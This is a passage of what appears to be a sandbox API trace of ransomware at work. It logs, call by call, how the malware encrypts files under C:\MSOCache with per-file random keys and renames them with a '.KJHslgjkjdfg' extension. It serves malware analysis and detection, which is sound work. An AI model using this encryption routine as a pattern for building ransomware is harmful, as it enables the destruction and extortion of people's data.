phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.547] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.547] GetProcessHeap () returned 0x990000 [0161.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0161.547] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df4e0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df4e0*=0x50) returned 1 [0161.547] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.547] WriteFile (in: hFile=0x124, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29df4f8*=0x50, lpOverlapped=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.548] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.548] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.548] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.548] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.548] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xaec3a, lpOverlapped=0x0) returned 1 [0161.559] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xaec40) returned 1 [0161.565] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.565] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0161.567] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.567] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.567] SetEndOfFile (hFile=0x124) returned 1 [0161.570] GetProcessHeap () returned 0x990000 [0161.570] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0161.571] GetProcessHeap () returned 0x990000 [0161.571] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.571] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0161.579] CloseHandle (hObject=0x124) returned 1 [0161.579] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0161.579] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0161.579] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.579] GetProcessHeap () returned 0x990000 [0161.580] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.580] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.580] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0161.580] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0161.592] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.592] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.592] GetProcessHeap () returned 0x990000 [0161.592] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0161.593] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0161.593] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.593] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0161.593] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0161.593] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0161.593] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0161.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.593] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0161.593] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0161.593] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.593] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.593] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x5061, lpOverlapped=0x0) returned 1 [0161.594] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5070, dwBufLen=0x5070 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x5070) returned 1 [0161.595] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.595] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x5070, lpOverlapped=0x0) returned 1 [0161.595] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.595] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.595] SetEndOfFile (hFile=0x124) returned 1 [0161.597] GetProcessHeap () returned 0x990000 [0161.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0161.597] GetProcessHeap () returned 0x990000 [0161.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.597] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0161.598] CloseHandle (hObject=0x124) returned 1 [0161.598] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0161.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.599] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=195011319) returned 1 [0161.599] GetProcessHeap () returned 0x990000 [0161.599] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.599] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.599] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.599] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x9, lpOverlapped=0x0) returned 1 [0161.605] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.605] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.605] GetProcessHeap () returned 0x990000 [0161.606] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.606] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.606] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.606] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.606] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.606] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.606] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.606] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.606] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.606] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.606] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.606] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.606] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.652] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.654] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.654] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.655] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.655] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.655] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.655] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.666] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.669] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.669] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.670] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.670] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.670] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.671] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.675] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9ba300, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.677] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0161.678] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.678] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0161.678] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.678] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb9fa3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.678] SetEndOfFile (hFile=0x124) returned 1 [0161.682] GetProcessHeap () returned 0x990000 [0161.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0161.682] GetProcessHeap () returned 0x990000 [0161.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0161.682] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.kjhslgjkjdfg")) returned 1 [0161.683] CloseHandle (hObject=0x124) returned 1 [0161.683] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0161.683] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.683] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=12060672) returned 1 [0161.683] GetProcessHeap () returned 0x990000 [0161.683] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0161.683] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0161.683] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.683] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.683] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.684] GetProcessHeap () returned 0x990000 [0161.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0161.684] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0161.684] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0161.684] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0161.686] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0161.686] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0161.686] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0161.686] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0161.686] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0161.686] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0161.686] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0161.686] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0161.687] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0161.696] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0161.698] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, 